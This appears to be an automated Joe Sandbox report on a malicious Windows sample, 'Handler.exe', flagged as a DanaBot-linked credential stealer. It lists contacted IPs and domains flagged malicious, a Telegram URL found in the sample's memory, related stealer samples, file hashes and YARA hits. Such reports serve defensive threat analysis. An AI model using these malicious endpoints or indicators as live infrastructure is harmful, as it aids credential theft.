https://drive-daily-4.c	chrome.exe, 00000007.00000002.2226175917.00001DFC024EC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	Handler.exe, 00000001.00000002.2632796447.00000000042FF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2629627670.0000000003B1F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	chrome.exe, 00000007.00000002.2223647781.00001DFC0221C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000002.2330461548.0000563C0016C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytcaogl	chrome.exe, 00000007.00000002.2236202810.00001DFC02B68000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	chrome.exe, 00000007.00000003.2142765079.00001DFC0262C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://t.me/w0ctznfc0stnMozilla/5.0	Handler.exe, 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	Handler.exe, 00000001.00000002.2632796447.00000000042FF000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2629627670.0000000003B1F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://anglebug.com/5881Z	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/spreadsheets/installwebapp?usp=chrome_defaultjb	chrome.exe, 00000007.00000002.2239235212.00001DFC0338C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/#	chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 00000007.00000002.2225242869.00001DFC023C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000007.00000003.2175854249.00001DFC03944000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/&	chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/%	chrome.exe, 00000007.00000003.2181676198.00001DFC03ABC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181628885.00001DFC03AA8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2181519116.00001DFC03AA4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	5fctr1d2dt.exe, 00000016.00000000.2590238671.00000000008FF000.00000008.00000001.01000000.00000015.sdmp	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 0000000B.00000003.2268066522.0000563C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6692	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/258207403	msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/dogl	chrome.exe, 00000007.00000002.2239039977.00001DFC032CC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3502	chrome.exe, 00000007.00000002.2237402508.00001DFC02E4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147289483.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147902229.00001DFC02CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000007.00000003.2147881420.00001DFC0256C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3623	msedge.exe, 0000000B.00000003.2270677163.0000563C0037C000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.217.165.129	unknown	United States	15169	GOOGLEUS	false
45.76.251.57	unknown	United States	20473	AS-CHOOPAUS	true
116.203.11.8	avgus.rest	Germany	24940	HETZNER-ASDE	true
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
108.139.47.92	unknown	United States	16509	AMAZON-02US	false
23.40.179.37	unknown	United States	16625	AKAMAI-ASUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.245.60.76	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.185.110	play.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
194.32.76.77	unknown	Germany	202448	MVPShttpswwwmvpsnetEU	true
172.217.18.100	www.google.com	United States	15169	GOOGLEUS	false
142.250.186.46	plus.l.google.com	United States	15169	GOOGLEUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
20.42.73.26	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.203.68	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.44.203.172	unknown	United States	20940	AKAMAI-ASN1EU	false
162.0.209.157	yachtingiturkey.com	Canada	35893	ACPCA	false
23.40.179.46	unknown	United States	16625	AKAMAI-ASUS	false

Private

IP
192.168.2.6
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590245
Start date and time:	2025-01-13 20:17:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	Handler.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@75/223@37/24
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 121 Number of non-executed functions: 121
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 192.229.221.95, 142.250.185.131, 142.250.181.238, 74.125.206.84, 142.250.185.238, 142.250.186.78, 142.250.74.195, 216.58.206.46, 142.250.186.138, 142.250.184.234, 142.250.74.202, 172.217.16.202, 172.217.18.10, 142.250.185.202, 142.250.185.106, 172.217.16.138, 216.58.212.170, 142.250.186.74, 142.250.186.42, 142.250.185.74, 172.217.23.106, 142.250.185.138, 216.58.206.74, 142.250.185.170, 13.89.179.12, 216.58.206.42, 142.250.186.106, 142.250.186.170, 142.250.181.234, 216.58.212.138, 142.250.185.234, 142.250.184.202, 204.79.197.203, 13.107.42.16, 13.107.21.239, 204.79.197.239, 142.250.186.110, 13.107.6.158, 2.16.168.120, 2.16.168.113, 2.18.64.203, 2.18.64.218, 2.23.227.215, 2.23.227.208, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.23.227.216, 2.23.227.213, 2.16.168.108, 2.16.168.122, 108.141.37.120, 48.209.164.47, 199.232.214.172, 142.251.40.195, 142.250.72.99, 23.40.179.38, 23.40.179.14, 40.126.32.138, 172.202.163.200, 2.23.242.162, 13.107.246.45, 94.2
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, onedsblobprdcus17.centralus.cloudapp.azure.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, business-bing-com.b-0005.b-msedge.net, prod-agic-we-5.westeurope.cloudapp.azure.com, a1834.dscg2.akamai.net, c.bing.com, blobcollector.events.data.trafficmanager.net, edgeassetservi
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:18:19	API Interceptor	1x Sleep call for process: WerFault.exe modified
14:19:34	API Interceptor	30050511x Sleep call for process: 5fctr1d2dt.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.159.61.3	JUbmpeT.exe	Get hash	malicious	Vidar	Browse
	https://file2-cdn.creality.com/file/2e068bd90e233501c8036fb25c76e092/CrealityScan_win_3.3.4-20241030.exe	Get hash	malicious	Unknown	Browse
	mNPTwHOuvT.exe	Get hash	malicious	Vidar	Browse
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse
	https://youtube.com0x360x380x370x340x370x340x370x300x370x330x330x610x320x660x320x660x360x310x360x640x360x360x370x320x320x650x370x320x370x350x320x660x370x320x360x620x320x650x370x300x360x380x370x300x330x660x360x390x360x340x330x640x330x320x330x300x330x300x320x360x370x330x360x390x370x340x360x350x350x660x360x390x360x340x330x640x370x330x330x310x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x320x360x310x360x650x360x650x360x350x370x320x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x330x360x630x360x390x360x330x360x620x320x360x360x350x370x360x360x350x360x650x370x340x330x330x330x640x330x310x320x620x320x350x330x320x340x360x320x620x320x350x330x350x340x320x330x320x330x350x330x300x320x350x330x350x340x340x320x620x320x350x330x350x340x320x360x390x360x650x360x340x360x350x370x380x350x660x360x320x350x660x360x330x320x350x330x350x340x340x320x620x320x350x340x340x330x300x320x350x330x390x330x330x320x350x340x340x330x300x320x350x340x320x340x320x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x300x320x350x340x320x330x320x320x350x340x340x330x300x320x350x340x320x340x340x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x310x320x350x330x380x340x360x320x620x320x350x340x340x330x310x320x350x330x380x330x310x320x350x340x340x330x310x320x350x330x380x330x320x320x350x340x340x330x340x370x380x360x340x390x320x390x330x370x320x330x300x390x340x370x330x340x300x330x340x2d0x380x380x340x330x340x370x330x340x300x340x390x300x350x370x330x370x340x330x300x340x300x330x340x380x320x2d0x340x300x390x340x380x2d0x320x2d0x340x380x380x320x2d0x330x320x380x380x340x370x370x320x390x390x320x380x380x380x340x370x340x370x320x390x300x340x390x340x370x320x340x300x380x320x340x370x340x370x320x620x320x640x320x620x320x350x340x340x330x300x320x350x330x390x330x340x320x350x340x340x330x300x320x350x340x320x330x350x320x350x340x340x330x300x320x350x340x320x340x330x320x350x340x340x330x300x320x350x340x320x330x380x320x350x340x340x330x300x320x350x340x320x340x310x320x350x340x340x330	Get hash	malicious	Unknown	Browse
	348426869538810128.js	Get hash	malicious	Strela Downloader	Browse
	https://www.axis.com/ftp/pub_soft/cam_srv/IPUtility/latest/AxisIPUtilitySetup.exe	Get hash	malicious	Unknown	Browse
	https://sanctionssearch.ofac.treas.gov	Get hash	malicious	Unknown	Browse
	https://bryf.atchirlisc.ru/EeMAGvIe/	Get hash	malicious	HTMLPhisher	Browse
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse
108.139.47.92	6684V5n83w.exe	Get hash	malicious	Vidar	Browse
	JA7cOAGHym.exe	Get hash	malicious	Vidar	Browse
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse
	ktyihkdfesf.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, Cerbfyne Stealer, Credential Flusher, Cryptbot, LummaC Stealer, Poverty Stealer	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	JHPvqMzKbz.exe	Get hash	malicious	Vidar	Browse
45.76.251.57	UWYXurYZ2x.exe	Get hash	malicious	LummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty Stealer	Browse
23.40.179.37	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	Acrobat_Set-Up.exe	Get hash	malicious	Unknown	Browse
	http://213.109.202.222/download/xml.xml	Get hash	malicious	CobaltStrike	Browse
	web_search_tool (1).docm	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.TrojanX-gen.32025.7334.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	I2jCDr35mu.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse
	jk98mGM6JH.exe	Get hash	malicious	RisePro Stealer	Browse
	SecuriteInfo.com.Trojan.Siggen23.22903.15219.31710.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	sysadmin.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	UWYXurYZ2x.exe	Get hash	malicious	LummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty Stealer	Browse	149.154.167.99
	http://www.eovph.icu/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://www.eghwr.icu/	Get hash	malicious	Unknown	Browse	149.154.167.99
	https://wkybcnfuqpgjx.ltd/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://4q2j5y3.fat-fly.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://zyhm9v6.fat-fly.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://ld7c8w4lz.fat-fly.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://j3nj31k9.fat-fly.com/	Get hash	malicious	Unknown	Browse	149.154.167.99
chrome.cloudflare-dns.com	Collaboration-x64.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	3bSDIpSIdF.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	3bSDIpSIdF.msi	Get hash	malicious	Unknown	Browse	172.64.41.3
	mNPTwHOuvT.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	1507513743282749438.js	Get hash	malicious	Strela Downloader	Browse	162.159.61.3
	https://youtube.com0x360x380x370x340x370x340x370x300x370x330x330x610x320x660x320x660x360x310x360x640x360x360x370x320x320x650x370x320x370x350x320x660x370x320x360x620x320x650x370x300x360x380x370x300x330x660x360x390x360x340x330x640x330x320x330x300x330x300x320x360x370x330x360x390x370x340x360x350x350x660x360x390x360x340x330x640x370x330x330x310x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x320x360x310x360x650x360x650x360x350x370x320x320x360x360x350x370x360x360x350x360x650x370x340x330x320x330x640x360x330x360x630x360x390x360x330x360x620x320x360x360x350x370x360x360x350x360x650x370x340x330x330x330x640x330x310x320x620x320x350x330x320x340x360x320x620x320x350x330x350x340x320x330x320x330x350x330x300x320x350x330x350x340x340x320x620x320x350x330x350x340x320x360x390x360x650x360x340x360x350x370x380x350x660x360x320x350x660x360x330x320x350x330x350x340x340x320x620x320x350x340x340x330x300x320x350x330x390x330x330x320x350x340x340x330x300x320x350x340x320x340x320x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x300x320x350x340x320x330x320x320x350x340x340x330x300x320x350x340x320x340x340x320x350x340x340x330x300x320x350x340x320x330x300x320x350x340x340x330x310x320x350x330x380x340x360x320x620x320x350x340x340x330x310x320x350x330x380x330x310x320x350x340x340x330x310x320x350x330x380x330x320x320x350x340x340x330x340x370x380x360x340x390x320x390x330x370x320x330x300x390x340x370x330x340x300x330x340x2d0x380x380x340x330x340x370x330x340x300x340x390x300x350x370x330x370x340x330x300x340x300x330x340x380x320x2d0x340x300x390x340x380x2d0x320x2d0x340x380x380x320x2d0x330x320x380x380x340x370x370x320x390x390x320x380x380x380x340x370x340x370x320x390x300x340x390x340x370x320x340x300x380x320x340x370x340x370x320x620x320x640x320x620x320x350x340x340x330x300x320x350x330x390x330x340x320x350x340x340x330x300x320x350x340x320x330x350x320x350x340x340x330x300x320x350x340x320x340x330x320x350x340x340x330x300x320x350x340x320x330x380x320x350x340x340x330x300x320x350x340x320x340x310x320x350x340x340x330	Get hash	malicious	Unknown	Browse	162.159.61.3
	44742054371077666.js	Get hash	malicious	Strela Downloader	Browse	172.64.41.3
	https://www.axis.com/ftp/pub_soft/cam_srv/IPUtility/latest/AxisIPUtilitySetup.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	https://sanctionssearch.ofac.treas.gov	Get hash	malicious	Unknown	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	3bSDIpSIdF.msi	Get hash	malicious	Unknown	Browse	94.245.104.56
	mNPTwHOuvT.exe	Get hash	malicious	Vidar	Browse	94.245.104.56
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	24EPV9vjc5.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	kXzODlqJak.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	LVkAi4PBv6.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	Mansourbank Swift-TT680169 Report.svg	Get hash	malicious	Branchlock Obfuscator	Browse	94.245.104.56
	17360626254f6ab0798f0d71fe81e2d058a575b873a7088f40695d7fd8031d0961d3a3694a780.dat-decoded.exe	Get hash	malicious	Remcos	Browse	94.245.104.56

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	sysadmin.exe	Get hash	malicious	Vidar	Browse	116.203.166.124
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	116.203.166.124
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	http://id1223.adsalliance.xyz	Get hash	malicious	Unknown	Browse	144.76.236.44
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
	na.elf	Get hash	malicious	Prometei	Browse	88.198.246.242
CLOUDFLARENETUS	http://grastoonm3vides.com	Get hash	malicious	Unknown	Browse	104.21.112.1
	https://h3.errantrefrainundocked.shop/riii1.mid	Get hash	malicious	Unknown	Browse	104.26.10.53
	phish_alert_sp2_2.0.0.0 (2).eml	Get hash	malicious	Unknown	Browse	104.18.242.108
	https://lgs.gngt.ru/d1MHvwa7NXCAlKk/	Get hash	malicious	HTMLPhisher	Browse	188.114.97.3
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=http://jet-electric-2014-ltd.jimdosite.com&d=DwMGaQ	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://blasterstool.com	Get hash	malicious	Unknown	Browse	104.16.82.94
	https://cortevaopscenter.freshdesk.com/register/FFFaTYjVZRX8bcRDPna0	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://mega.fo	Get hash	malicious	HTMLPhisher	Browse	104.16.123.96
	Scan.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
AS-CHOOPAUS	UWYXurYZ2x.exe	Get hash	malicious	LummaC, Amadey, Babadeda, DanaBot, KeyLogger, LummaC Stealer, Poverty Stealer	Browse	45.76.251.57
	9d2h99wrj.exe	Get hash	malicious	Xmrig	Browse	192.248.189.11
	Solara.exe	Get hash	malicious	Python Stealer, Exela Stealer, Xmrig	Browse	80.240.16.67
	80P.exe	Get hash	malicious	I2PRAT	Browse	207.246.88.73
	4.elf	Get hash	malicious	Unknown	Browse	44.40.164.148
	zE1VxVoZ3W.exe	Get hash	malicious	FormBook	Browse	78.141.202.204
	Fantazy.mpsl.elf	Get hash	malicious	Unknown	Browse	44.40.164.150
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse	192.248.189.11
	miori.x86.elf	Get hash	malicious	Unknown	Browse	44.175.18.157
	xmr new.exe	Get hash	malicious	Xmrig	Browse	80.240.16.67

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://h3.errantrefrainundocked.shop/riii1.mid	Get hash	malicious	Unknown	Browse	23.1.237.91
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	http://id1223.adsalliance.xyz	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://email.mg.decisiontime.online/c/eJxszjFvszAQgOFfYzbQ-c4mMHj4pK_M3TqDOZdTjR1hJyj_vkqVMeujd3hXZxnHi2_Y6Qv1hohgaHifJbbhyHu75n2W5M7z7Fb2UiSnKjt3OUVJ_CqjpJ9WVoeoxwEvL62PKz9VN5szGsd5AQoLgV-oZ2_1oPuFgrWAvWnEIaAFDaM2ZGHoAsy0DGwY2VpNoAzs328fottqvRZF_xROCqeyFV_flQonDLPC6c6HhEfr8_q0v9vmcB9xlsTdl8SS0__8qQyUfKsbH6ket1K7rfgkXeLa3B3-BgAA__-9dmXG	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.support.ue-vt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://support.rv-rw.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://findmy.cl-ew.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://www.maps.cx-vr.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://support.vs-rt.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://support.un-ej.com/aU3V88/c1.php	Get hash	malicious	Unknown	Browse	23.1.237.91
37f463bf4616ecd445d4a1937da06e19	sysadmin.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 116.203.11.8 162.0.209.157
	JUbmpeT.exe	Get hash	malicious	Vidar	Browse	149.154.167.99 116.203.11.8 162.0.209.157
	149876985-734579485.05.exe	Get hash	malicious	Nitol	Browse	149.154.167.99 116.203.11.8 162.0.209.157
	149876985-734579485.05.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 116.203.11.8 162.0.209.157
	YYYY-NNN AUDIT DETAIL REPORT .docx	Get hash	malicious	Unknown	Browse	149.154.167.99 116.203.11.8 162.0.209.157
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	149.154.167.99 116.203.11.8 162.0.209.157
	PCB - Lyell Highway Upgrades Queenstown to Strahan - March 2021.XLSM	Get hash	malicious	Unknown	Browse	149.154.167.99 116.203.11.8 162.0.209.157
	13478674376-78423498.01.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 116.203.11.8 162.0.209.157
	Setup.msi	Get hash	malicious	Unknown	Browse	149.154.167.99 116.203.11.8 162.0.209.157

Process:	C:\Users\user\Desktop\Handler.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5768704
Entropy (8bit):	7.177310372869276
Encrypted:	false
SSDEEP:	98304:2FcDb7q6XFlbwH09km8Wr+fPML/qDTdfGY8vCl6wv:h3u6XvbwU/8Wr+MLcpOns6w
MD5:	0A6AE4DE16757CD121632BAD3A903EDA
SHA1:	D6F1E5B9E94CB3F29873CD935356F586858A9FE7
SHA-256:	3454A44D19DA21B765B39886811918F59092CD9B1D0FCD9020F9779283B27B74
SHA-512:	E08BA43ABFC5494AA01EE3006656D1F6ADC70403EAFB38705C79104F52AAD1C7FEC619DCA06F8EFBB1128A15C6895BE4FDDA7A0552598DC87CAA34484EEE9966
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\ProgramData\5fctr1d2dt.exe, Author: Joe Security Rule: JoeSecurity_DanaBot_stealer_dll, Description: Yara detected DanaBot stealer dll, Source: C:\ProgramData\5fctr1d2dt.exe, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: C:\ProgramData\5fctr1d2dt.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....g..................O..6......D.O.......O...@...........................Y..................@....................T......`T..A....X..X....................T...............................T.....................PmT.......T......................text....O.......O................. ..`.itext..`.....O.......O............. ..`.data.........O.......O.............@....bss..........S..........................idata...A...`T..B....S.............@....didata.......T.......S.............@....edata........T.......S.............@..@.tls....(.....T..........................rdata..\.....T.......S.............@..@.reloc........T.......S.............@..B.rsrc....X....X..X....W.............@..@..............Y.......X.............@..@................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Handler.exe_53ee4c53474bf957c989f1298b99fa5f97567960_8c9d25aa_4d7ff653-1f4d-42e7-8047-9f03dfe390b3\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8872440416053207
Encrypted:	false
SSDEEP:	96:+KhFrvj4+wmQstg8jTOAqyS3QXIDcQlc6VcEdcw3t+BHUHZ0ownOgHkEwH3dEFWl:zh5bmmQ1A0LR3caOGzuiFbZ24IO8I
MD5:	36BF3AA59852CD97DAC3E565065CCA40
SHA1:	DF1D8B40E389935BAF46C8817D7548C8868A9731
SHA-256:	9B9A79EB44D702CD64375D3DBFF4EC6FA25C91E04FCE490373A67394B5F79DB7
SHA-512:	AF81EFEB7C9086C57E7C042A4C2CA7272F5A24E6FFAECF4D291CFF744F830C483EA4043531F10E67B876F52242C561DC0B490AF2B08966EB410BF3E285FAD68A
Malicious:	true
